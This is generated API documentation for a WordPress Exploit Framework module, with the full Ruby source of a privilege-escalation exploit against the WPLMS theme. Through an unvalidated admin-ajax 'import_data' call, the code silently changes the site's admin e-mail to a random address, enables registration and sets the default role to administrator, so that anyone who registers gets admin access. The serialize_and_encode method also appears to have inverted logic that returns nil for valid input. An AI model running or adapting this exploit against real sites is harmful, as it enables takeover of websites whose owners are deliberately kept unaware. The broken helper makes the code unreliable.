Class: Wpxf::Auxiliary::WplmsPrivilegeEscalation

Inherits:
Module
  • Object
show all
Includes:
Wpxf, Net::HttpClient, WordPress::Login
Defined in:
lib/wpxf/modules/auxiliary/priv_esc/wplms_privilege_escalation.rb

Constant Summary

Constants included from Net::HttpOptions

Net::HttpOptions::HTTP_OPTION_BASIC_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_CLIENT_TIMEOUT, Net::HttpOptions::HTTP_OPTION_FOLLOW_REDIRECT, Net::HttpOptions::HTTP_OPTION_HOST, Net::HttpOptions::HTTP_OPTION_HOST_VERIFICATION, Net::HttpOptions::HTTP_OPTION_MAX_CONCURRENCY, Net::HttpOptions::HTTP_OPTION_PEER_VERIFICATION, Net::HttpOptions::HTTP_OPTION_PORT, Net::HttpOptions::HTTP_OPTION_PROXY, Net::HttpOptions::HTTP_OPTION_PROXY_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_SSL, Net::HttpOptions::HTTP_OPTION_TARGET_URI, Net::HttpOptions::HTTP_OPTION_USER_AGENT, Net::HttpOptions::HTTP_OPTION_VHOST

Constants included from WordPress::Options

WordPress::Options::WP_OPTION_CONTENT_DIR

Instance Attribute Summary

Attributes inherited from Module

#active_workspace, #event_emitter, #payload, #session_cookie

Attributes included from Options

#datastore, #options

Instance Method Summary collapse

Methods included from WordPress::Login

#valid_wordpress_cookie?, #wordpress_login, #wordpress_login_post_body

Methods included from Net::HttpClient

#base_http_headers, #base_uri, #download_file, #execute_delete_request, #execute_get_request, #execute_post_request, #execute_put_request, #execute_queued_requests, #execute_request, #full_uri, #initialize_advanced_options, #initialize_options, #max_http_concurrency, #normalize_relative_uri, #normalize_uri, #queue_request, #target_host, #target_port, #target_uri

Methods included from Net::TyphoeusHelper

#advanced_typhoeus_options, #create_typhoeus_request, #create_typhoeus_request_options, #standard_typhoeus_options

Methods included from Net::UserAgent

#clients_by_frequency, #random_browser_and_os, #random_chrome_platform_string, #random_firefox_platform_string, #random_firefox_version_string, #random_iexplorer_platform_string, #random_opera_platform_string, #random_processor_string, #random_safari_platform_string, #random_time_string, #random_user_agent

Methods included from Versioning::OSVersions

#random_nt_version, #random_osx_version

Methods included from Versioning::BrowserVersions

#random_chrome_build_number, #random_chrome_version, #random_ie_version, #random_opera_version, #random_presto_version, #random_presto_version2, #random_safari_build_number, #random_safari_version, #random_trident_version

Methods included from Wpxf

app_path, build_module_list, change_stdout_sync, custom_modules_path, data_directory, databases_path, gemspec, home_directory, load_custom_modules, load_module, modules_path, payloads_path, version

Methods inherited from Module

#aux_module?, #can_execute?, #check_wordpress_and_online, #cleanup, #exploit_module?, #missing_options, #set_option_value, #unset_option

Methods included from Db::Credentials

#store_credentials

Methods included from ModuleAuthentication

#authenticate_with_wordpress

Methods included from WordPress::Urls

#wordpress_url_admin, #wordpress_url_admin_ajax, #wordpress_url_admin_options, #wordpress_url_admin_post, #wordpress_url_admin_profile, #wordpress_url_admin_update, #wordpress_url_atom, #wordpress_url_author, #wordpress_url_comments_post, #wordpress_url_login, #wordpress_url_new_user, #wordpress_url_opml, #wordpress_url_plugin_install, #wordpress_url_plugin_upload, #wordpress_url_plugins, #wordpress_url_post, #wordpress_url_rdf, #wordpress_url_readme, #wordpress_url_rest_api, #wordpress_url_rss, #wordpress_url_sitemap, #wordpress_url_themes, #wordpress_url_uploads, #wordpress_url_wp_content, #wordpress_url_xmlrpc

Methods included from WordPress::Options

#wp_content_dir

Methods included from WordPress::Fingerprint

#check_plugin_version_from_changelog, #check_plugin_version_from_readme, #check_theme_version_from_readme, #check_theme_version_from_style, #check_version_from_custom_file, #wordpress_and_online?, #wordpress_version

Methods included from Options

#all_options_valid?, #get_option, #get_option_value, #missing_options, #normalized_option_value, #option_valid?, #option_value?, #register_advanced_options, #register_evasion_options, #register_option, #register_options, #scoped_option_change, #set_option_value, #unregister_option, #unset_option

Methods included from OutputEmitters

#emit_error, #emit_info, #emit_success, #emit_table, #emit_warning

Methods included from ModuleInfo

#emit_usage_info, #module_author, #module_date, #module_desc, #module_description_preformatted, #module_name, #module_references, #update_info

Constructor Details

#initialize ⇒ WplmsPrivilegeEscalation

Returns a new instance of WplmsPrivilegeEscalation.



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# File 'lib/wpxf/modules/auxiliary/priv_esc/wplms_privilege_escalation.rb', line 10

def initialize
  super

  update_info(
    name: 'WPLMS Theme Privilege Escalation',
    desc: %(
      The WordPress WPLMS theme from version 1.5.2 to 1.8.4.1 allows
      an authenticated user of any user level to set any system option
      due to a lack of validation in the import_data function of
      /includes/func.php.

      The module first changes the admin e-mail address to prevent any
      notifications being sent to the actual administrator during the
      attack, re-enables user registration in case it has been
      disabled and sets the default role to be administrator.
      This will allow for the user to create a new account with admin
      privileges via the default registration page found at
      /wp-login.php?action=register.
    ),
    desc_preformatted: true,
    author: [
      'Evex',     # Vulnerability discovery
      'rastating' # WPXF module
    ],
    references: [
      ['WPVDB', '7785']
    ],
    date: 'Feb 09 2015'
  )
end

Instance Method Details

#check ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/priv_esc/wplms_privilege_escalation.rb', line 41

def check
  check_theme_version_from_readme('wplms', '1.8.4.2', '1.5.2')
end

#php_serialize(value) ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/priv_esc/wplms_privilege_escalation.rb', line 49

def php_serialize(value)
  # Only strings and numbers are required by this module
  case value
  when String, Symbol
    "s:#{value.bytesize}:\"#{value}\";"
  when Integer
    "i:#{value};"
  end
end

#requires_authentication ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/priv_esc/wplms_privilege_escalation.rb', line 45

def requires_authentication
  true
end

#run ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/priv_esc/wplms_privilege_escalation.rb', line 89

def run
  return false unless super

  new_email = "#{Utility::Text.rand_alpha(5)}@#{Utility::Text.rand_alpha(5)}.com"
  emit_info "Changing admin e-mail address to #{new_email}..."
  if set_wp_option('admin_email', new_email).nil?
    emit_error 'Failed to change the admin e-mail address'
    return false
  end

  emit_info 'Enabling user registrations...'
  if set_wp_option('users_can_register', 1).nil?
    emit_error 'Failed to enable user registrations'
    return false
  end

  emit_info 'Setting the default user role...'
  if set_wp_option('default_role', 'administrator').nil?
    emit_error 'Failed to set the default user role'
    return false
  end

  register_url = normalize_uri(full_uri, 'wp-login.php?action=register')
  emit_success 'Privilege escalation complete'
  emit_success "Create a new account at #{register_url} to gain admin access."

  true
end

#serialize_and_encode(value) ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/priv_esc/wplms_privilege_escalation.rb', line 59

def serialize_and_encode(value)
  serialized_value = php_serialize(value)
  return nil unless serialized_value.nil?

  Base64.strict_encode64(serialized_value)
end

#set_wp_option(name, value) ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/priv_esc/wplms_privilege_escalation.rb', line 66

def set_wp_option(name, value)
  encoded_value = serialize_and_encode(value)
  if encoded_value.nil?
    emit_error "Failed to serialize #{value}", true
    return nil
  end

  res = execute_post_request(
    url: wordpress_url_admin_ajax,
    params: { 'action' => 'import_data' },
    body: { 'name' => name, 'code' => encoded_value },
    cookie: session_cookie
  )

  if res.nil?
    emit_error 'No response from the target', true
  elsif res.code != 200
    emit_warning "Server responded with code #{res.code}", true
  end

  res
end